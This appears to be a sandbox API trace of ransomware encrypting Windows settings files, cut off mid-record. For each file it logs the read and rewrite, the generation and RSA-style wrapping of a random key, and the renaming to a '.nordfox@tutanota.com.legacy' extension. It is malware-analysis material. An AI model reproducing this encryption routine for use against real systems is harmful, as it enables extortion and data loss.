0x30e66a0 [0195.856] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.856] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e66a0 | out: hHeap=0x520000) returned 1 [0195.856] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11135AE0-7372-4f85-8D1B-93D6EFBE5A99}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{11135ae0-7372-4f85-8d1b-93d6efbe5a99}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.857] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=913) returned 1 [0195.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x391) returned 0x30f6af0 [0195.857] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x391) returned 0x619440 [0195.857] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x391, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x391, lpOverlapped=0x0) returned 1 [0195.866] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.866] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x391, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x391, lpOverlapped=0x0) returned 1 [0195.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.866] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.866] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x391 [0195.866] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.866] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.866] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.867] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.867] CloseHandle (hObject=0x1c24) returned 1 [0195.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0195.867] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0195.867] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11135AE0-7372-4f85-8D1B-93D6EFBE5A99}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{11135ae0-7372-4f85-8d1b-93d6efbe5a99}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{11135AE0-7372-4f85-8D1B-93D6EFBE5A99}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{11135ae0-7372-4f85-8d1b-93d6efbe5a99}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6528 | out: hHeap=0x520000) returned 1 [0195.869] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e63b0 | out: hHeap=0x520000) returned 1 [0195.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e63b0 [0195.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4218 [0195.869] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0195.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0195.869] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.869] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6528 [0195.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.870] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6528 | out: hHeap=0x520000) returned 1 [0195.870] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.870] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1131) returned 1 [0195.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46b) returned 0x30f6af0 [0195.870] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x46b) returned 0x619440 [0195.870] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x46b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x46b, lpOverlapped=0x0) returned 1 [0195.872] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1131, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.872] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x46b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x46b, lpOverlapped=0x0) returned 1 [0195.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.872] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.872] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x46b [0195.872] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.872] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.873] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.873] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.873] CloseHandle (hObject=0x1c24) returned 1 [0195.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4218 | out: hHeap=0x520000) returned 1 [0195.873] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0195.873] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{10cbe5dd-9921-4090-b412-361339a230ad}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e63b0 | out: hHeap=0x520000) returned 1 [0195.875] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5f48 | out: hHeap=0x520000) returned 1 [0195.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6990 [0195.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0195.875] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3448 [0195.875] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.875] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0195.875] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1011988D-12F9-446b-85FF-A1579CCD1678}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6528 [0195.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.876] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6528 | out: hHeap=0x520000) returned 1 [0195.876] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1011988D-12F9-446b-85FF-A1579CCD1678}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{1011988d-12f9-446b-85ff-a1579ccd1678}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.876] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1011) returned 1 [0195.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3f3) returned 0x30f6af0 [0195.876] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3f3) returned 0x619440 [0195.876] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x3f3, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0195.877] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1011, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.878] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x3f3, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3f3, lpOverlapped=0x0) returned 1 [0195.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.878] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3f3 [0195.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.878] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.878] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.878] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.878] CloseHandle (hObject=0x1c24) returned 1 [0195.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0195.878] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3448 | out: hHeap=0x520000) returned 1 [0195.879] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1011988D-12F9-446b-85FF-A1579CCD1678}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{1011988d-12f9-446b-85ff-a1579ccd1678}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{1011988D-12F9-446b-85FF-A1579CCD1678}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{1011988d-12f9-446b-85ff-a1579ccd1678}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.881] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.881] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6990 | out: hHeap=0x520000) returned 1 [0195.881] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5c58 | out: hHeap=0x520000) returned 1 [0195.881] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e6990 [0195.881] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0195.881] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0195.881] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0195.881] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0195.881] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0F1B68F6-B72D-4229-BC9C-A87F0B16B17B}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.881] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5c58 [0195.881] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.881] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5c58 | out: hHeap=0x520000) returned 1 [0195.881] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0F1B68F6-B72D-4229-BC9C-A87F0B16B17B}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0f1b68f6-b72d-4229-bc9c-a87f0b16b17b}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.882] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1206) returned 1 [0195.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b6) returned 0x30f6af0 [0195.882] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4b6) returned 0x619440 [0195.882] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x4b6, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4b6, lpOverlapped=0x0) returned 1 [0195.883] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1206, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.883] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4b6, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4b6, lpOverlapped=0x0) returned 1 [0195.883] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.884] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4b6 [0195.884] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.884] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.884] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0195.884] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0195.884] CloseHandle (hObject=0x1c24) returned 1 [0195.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0195.884] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0195.884] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0F1B68F6-B72D-4229-BC9C-A87F0B16B17B}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0f1b68f6-b72d-4229-bc9c-a87f0b16b17b}.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0F1B68F6-B72D-4229-BC9C-A87F0B16B17B}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0f1b68f6-b72d-4229-bc9c-a87f0b16b17b}.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0195.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f68c0 | out: hHeap=0x520000) returned 1 [0195.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e6990 | out: hHeap=0x520000) returned 1 [0195.886] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e5dd0 | out: hHeap=0x520000) returned 1 [0195.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e5c58 [0195.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0195.886] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0195.887] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0195.887] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0195.887] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0195.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x170) returned 0x30e66a0 [0195.887] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x226) returned 0x30f68c0 [0195.887] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30e66a0 | out: hHeap=0x520000) returned 1 [0195.887] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\Classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\classic_{0e1d43a6-f261-491c-84ea-8bfcc6a4b70b}.settingcontent-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c24 [0195.887] GetFileSizeEx (in: hFile=0x1c24, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=918) returned 1 [0195.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x396) returned 0x30f6af0 [0195.888] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x396) returned 0x619440 [0195.888] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f6af0, nNumberOfBytesToRead=0x396, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6af0*, lpNumberOfBytesRead=0x2e1f9bc*=0x396, lpOverlapped=0x0) returned 1 [0195.889] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-918, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0195.889] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x396, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x396, lpOverlapped=0x0) returned 1 [0195.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x30f6af0 | out: hHeap=0x520000) returned 1 [0195.889] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x619440 | out: hHeap=0x520000) returned 1 [0195.889] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x396 [0195.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0195.889] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0195.889] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, 